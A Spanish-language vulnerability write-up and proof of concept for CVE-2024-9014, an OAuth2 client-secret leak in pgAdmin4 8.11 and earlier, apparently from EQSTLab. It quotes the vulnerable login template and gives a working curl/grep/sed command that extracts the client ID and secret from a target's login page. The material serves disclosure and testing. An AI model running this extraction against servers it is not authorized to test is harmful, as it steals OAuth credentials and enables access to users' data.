
Pgadmin4 Exposición de información sensible
Esta publicación es un artículo de investigación publicado por EQSTLab.
★ PoC de Exposición de Información Sensible CVE-2024-9014 ★
CVE-2024-9014 : Exposición de Información Sensible en pgAdmin4
descripción: las versiones 8.11 y anteriores de pgAdmin son vulnerables a una falla de seguridad en la autenticación OAuth2. Esta vulnerabilidad permite que un atacante pueda obtener el ID y el secreto del cliente, lo que conduce a un acceso no autorizado a los datos del usuario.
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 y pgadmin4-8.12

En este punto, la variable config.OAUTH2_CONFIG devuelve los archivos de configuración de OAUTH2, incluidos OAUTH2_CLIENT_ID y OAUTH2_CLIENT_SECRET.
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

Identificar y proteger los parámetros secretos de OAuth es muy importante. Si bien “client_id” puede divulgarse de forma segura, divulgar “client_secret” conlleva un riesgo significativo. Si el client_secret se ve comprometido, un atacante puede explotar la identidad y la confianza de la aplicación para robar el “access token” del usuario y su información personal.
Este repositorio no pretende exponer información sensible relacionada con CVE-2024-9014. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.
Publicamos análisis de CVE y malware una vez al mes. Si está interesado, siga los enlaces a continuación para consultar nuestras publicaciones. https://www.skshieldus.com/eng/business/insight.do